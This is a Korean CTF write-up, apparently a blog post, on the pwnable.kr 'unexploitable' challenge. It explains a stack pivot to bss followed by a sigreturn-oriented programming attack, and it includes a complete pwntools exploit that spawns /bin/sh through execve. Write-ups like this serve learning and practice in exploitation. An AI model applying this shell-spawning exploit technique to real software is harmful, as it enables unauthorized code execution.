본문 바로가기

Wargame/▷ pwnable.kr

[pwnable.kr] unexploitable

Pwnable.kr unexploitable


해당 문제의 Main을 보면 굉장히 간단합니다.

그냥 ROP문제인가 하고 가젯을 살펴봤습니다.


READ 함수에서 0x50F 만큼 입력을 받는데 syscall 의 OPCODE가 0F 05 이기 때문에 syscall 함수를 이용할 수 있습니다.

하지만 leak을 할 수가 없어서 고민을 많이 했습니다.


Main 모습을 보면서 payload를 생각해봤는데 [rbp+buf] 를 이용해 공격을 할 수 있었습니다.

Rbp에 넣을 주소는 bss를 활용하여 공격에 사용하였습니다.


시나리오
1. rbp 즉 read를 통해 입력당할 주소를 bss로 바꾸기.
Ret에 read_ret(lea rax, [rbp+buf] address) 를 덮고 sfp 자리에 bss+0x10 의 주소를 덮었습니다.

2. SROP
Sigreturn의 syscall number를 read 리턴값으로 맞춰주기 위해  read_ret 주소를 똑같이 넣어주었습니다. 
sfp에는 read_ret 로 일단 리턴되야 하기 때문에 넣어줬던 ret 주소로 리턴될 수 있게 bss 주소를 맞춰주었습니다.
또한 뒤에 sigreturn을 call 하면서 바뀔 레지스터 내용을 넣어두고 execve를 넣어주면서 권한을 높여 Flag를 읽을 수 있도록 해주었습니다.
레지스터 내용 뒤에 “/bin/sh\x00” 문자열을 넣음으로써 execve 인자로 사용될 수 있게 해주었습니다.

3. Input Sigreturn syscall number size
64bit 에서 sigreturn 시스콜 넘버는 15이기 때문에 ‘A’*15 만큼 넣어주었습니다.

from pwn import *

target = "/home/unexploitable/unexploitable"
s = process(target)
e = ELF(target)
sleep(3)

syscall = 0x400560
read = 0x40055b
bss = e.bss()+0x50

binsh = '/bin/sh\x00'

##### Ready SROP #####
frame = SigreturnFrame(arch="amd64")
frame.rax = 0x3b
frame.rdi = bss + 8 + 8 + 24 + 8 + 0xf8
frame.rip = syscall
######################

##### first #####
payload = 'A'*0x10
payload += p64(bss) #ebp = bss address
payload += p64(read)
s.send(payload)
##### second #####
payload = 'A'*0x10
payload += p64(bss+0x20) #Calc return syscall
payload += p64(read)
payload += 'B'*24
payload += p64(syscall) #START SROP
payload += str(frame)
payload += binsh
s.send(payload)

##### third #####
payload = 'A' * 15 #sigreturn syscall number == 15
s.send(payload)

s.interactive()


'Wargame > ▷ pwnable.kr' 카테고리의 다른 글

[pwnable.kr] brain fuck  (0) 2018.07.20
[pwnable.kr] unlink  (0) 2018.07.20
[pwnable.kr] Dragon  (0) 2018.07.08
[pwnable.kr] simple login  (0) 2018.07.08
[pwnable.kr] passcode  (0) 2018.03.05